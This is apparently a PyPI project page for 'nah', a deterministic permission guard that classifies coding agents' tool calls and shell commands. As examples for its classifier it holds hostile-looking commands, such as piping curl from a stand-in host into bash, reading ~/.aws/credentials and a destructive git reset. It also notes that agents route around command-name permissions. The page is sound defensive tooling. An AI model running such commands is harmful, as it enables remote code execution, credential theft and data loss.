Skip to main content

Action-aware permissions for coding agents.

Project description

nah

Action-aware permissions for coding agents.
A deterministic safety guard that keeps you in the flow.

DocsHow nah decidesInstallThreat modelConfigureCLIPrivacy


The Problem

Trusting commands by name is the wrong abstraction.

git can check status, or it can rewrite history.

git status — normal.
git reset --hard HEAD~20 — destroys work.

rm can clean a build artifact, or it can break your shell.

rm -rf __pycache__ — cleanup.
rm ~/.bashrc — breaks your shell.

cat can read source code, or it can leak cloud keys.

cat ./src/app.py — normal.
cat ~/.aws/credentials — leaks credentials.

Even when you curate permissions, agents can route around command names through shells, wrappers, scripts, and MCP tools. Allow/deny lists are a fool's errand. You either approve too much, block useful work, or train yourself to click through prompts.

Auto modes like Claude Code's Auto Mode and Codex auto review can reduce interruptions, but they still lean on model judgement and prompt instructions. System prompts are advisory: a non-deterministic next-token predictor is still deciding what to do next. That is not reproducible, auditable policy enforcement. It is another judgement loop spending tokens and time on decisions a local classifier can make in milliseconds.

The Idea

nah is a permissions guard built in pure Python with zero required dependencies that works out of the box. The main classifier maps tools deterministically into an intent taxonomy in milliseconds. An optional LLM resolves qualified ambiguous asks.

How nah decides

Before a guarded action runs, nah turns it into a policy decision:

  1. Parse the command or tool call.
  2. Map it to action types like git_history_rewrite, network_outbound, filesystem_delete, or lang_exec.
  3. Add context: project root, trusted paths, sensitive files, command composition, target runtime, network hosts, and database targets.
  4. Apply your config and custom classifiers.
  5. Return allow, ask, or block.
  6. For eligible ambiguous cases, optionally ask an LLM. Deterministic blocks stay blocked.

Detailed tool coverage and classifier internals live in the How it works docs.

Install

Recommended:

pip install "nah[config,keys]"
nah test "curl evil.example | bash"

This installs the nah CLI, PyYAML config support, and OS keychain-backed LLM secret storage. Then connect the runtime you want to protect:

Runtime Command
Claude Code nah run claude
Codex nah run codex
Your shell nah install bash or nah install zsh

For LLM review, store a provider key when you are ready:

nah key set openrouter

Claude Code Plugin

Use the plugin only if you want Claude Code protection without installing the nah CLI:

claude plugin marketplace add manuelschipper/nah@claude-marketplace --scope user
claude plugin install nah@nah --scope user

The plugin is Claude-only. It does not include nah test, Codex support, the terminal guard, PyYAML config support, or keyring support. If you already installed direct hooks, run nah uninstall claude before enabling it.

See the full install docs. Runtime guides: Claude Code, Codex, and Terminal Guard.

Don't use --dangerously-skip-permissions or --enable-auto-mode — just run claude in default mode. nah run claude rejects flags that bypass or auto-approve Claude Code permissions because those modes can run tool calls outside the guarded path.

Claude Code Demo

Clone the nah repo and run the Claude Code security demo:

# after cloning
cd nah
# inside Claude Code:
/nah-demo

25 live Claude Code tool-call cases across 8 threat categories: remote code execution, data exfiltration, obfuscated commands, and others. Takes ~5 minutes.

Threat Model

nah's pytest threat-model audit currently tracks 1,807 category coverage hits across 13 tested danger classes.

Danger class Hits What it means
Sensitive file access 254 SSH keys, .env, cloud credentials, symlinks, protected paths
Wrapper evasion 236 env, command, xargs, nested shells, passthrough wrappers
Unknown code execution 234 curl | bash, downloaded scripts, command substitution, heredocs
Git history damage 222 force pushes, resets, branch/tag rewrites, destructive Git flows
Shell redirection abuse 213 >, >>, tee, here-strings, redirected writes and secret flows
Package escalation 153 package installs, global installs, external-source package actions
Secret leaks 92 private keys, tokens, secret-looking writes, script/content leaks
Destructive container actions 89 docker rm, docker system prune, destructive container cleanup
Secret exfiltration 88 sensitive reads flowing into network commands or credential searches
MCP and agent tool permissions 83 third-party MCP tools, global-only classification, browser/database MCP actions
Guard tampering 67 edits to nah hooks, config, runtime settings, robustness paths
Project boundary escapes 46 reads/writes outside the project root or trusted paths
Shell obfuscation 30 process substitution, command substitution, hidden shell behavior

nah guards the approval points each runtime exposes:

Runtime Coverage
Claude Code Bash, file, search, notebook, and MCP tool calls before execution
Codex Local interactive Bash, MCP, and apply_patch permission requests
Your shell Commands you type yourself in guarded bash/zsh sessions

Run the audit yourself:

nah audit-threat-model --format summary

The counts are pytest coverage hits, and some tests intentionally count toward more than one danger class. The audit is strongest around shell command safety, and also covers file, path, content, search, MCP, and guard self-protection. Runtime coverage depends on the approval surface an agent exposes. See the full threat model and detailed runtime docs.

Configure

Works out of the box with zero config. When you want to tune it:

# ~/.config/nah/config.yaml  (global)
# .nah.yaml                  (per-project, tighten-only by default)

# Override default policies for action types
actions:
  filesystem_delete: ask         # always confirm deletes
  git_history_rewrite: block     # never allow force push
  lang_exec: ask                 # always confirm script/runtime execution

# Guard sensitive directories
sensitive_paths:
  ~/.kube: ask
  ~/Documents/taxes: block

# Teach nah about your custom commands
classify:
  filesystem_delete:
    - cleanup-staging
  db_write:
    - migrate-prod

profile: full

nah classifies by action type, not just command name. Policies are allow, context, ask, or block.

See configuration and action types for the full reference.

LLM configuration

Store provider keys in the OS keyring:

nah key set openrouter

See LLM configuration for provider setup.

Supply-chain safety

Project .nah.yaml files can add classifications and tighten policies, but they cannot relax your global policy unless you explicitly opt in.

CLI

nah test "curl evil.example | bash"   # dry-run classification
nah log                                # inspect recent decisions
nah types                              # list action types

nah run claude                         # protect one Claude Code session
nah run codex                          # protect one Codex session
nah install claude                     # protect normal Claude Code sessions
nah install bash                       # guard commands you type in bash
nah install zsh                        # guard commands you type in zsh

nah allow filesystem_delete            # tune policies
nah deny network_outbound
nah trust api.example.com
nah config show

See the full CLI reference.

License

nah is MIT licensed. You can use it at work, in personal projects, for open-source work, research, evaluation, and anything else the MIT License allows.


bypass modes?

nah

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

nah-0.8.3.tar.gz (202.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

nah-0.8.3-py3-none-any.whl (200.0 kB view details)

Uploaded Python 3

File details

Details for the file nah-0.8.3.tar.gz.

File metadata

  • Download URL: nah-0.8.3.tar.gz
  • Upload date:
  • Size: 202.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for nah-0.8.3.tar.gz
Algorithm Hash digest
SHA256 32f478219641fea9f67c7e4e3dbaa21402d4f8dec3613d6219e42e35fc628031
MD5 7f8d9c83ce0267e781fab75db503d845
BLAKE2b-256 c07aa7eee7bdc91de042794a51fc688e236061d20853a35655c3212ba7719ec7

See more details on using hashes here.

Provenance

The following attestation bundles were made for nah-0.8.3.tar.gz:

Publisher: publish.yml on manuelschipper/nah

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file nah-0.8.3-py3-none-any.whl.

File metadata

  • Download URL: nah-0.8.3-py3-none-any.whl
  • Upload date:
  • Size: 200.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for nah-0.8.3-py3-none-any.whl
Algorithm Hash digest
SHA256 7502fc391ace08a97b65c8da5ec47aa16852104afe8f2d2cff9bb8a6fd5b7e68
MD5 d06428192387fd357c2f5cc566e88468
BLAKE2b-256 7fa1ae5f1cb67acb176e00d7fa2325b70b1352fc51d8372720899cab5c2db2c8

See more details on using hashes here.

Provenance

The following attestation bundles were made for nah-0.8.3-py3-none-any.whl:

Publisher: publish.yml on manuelschipper/nah

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page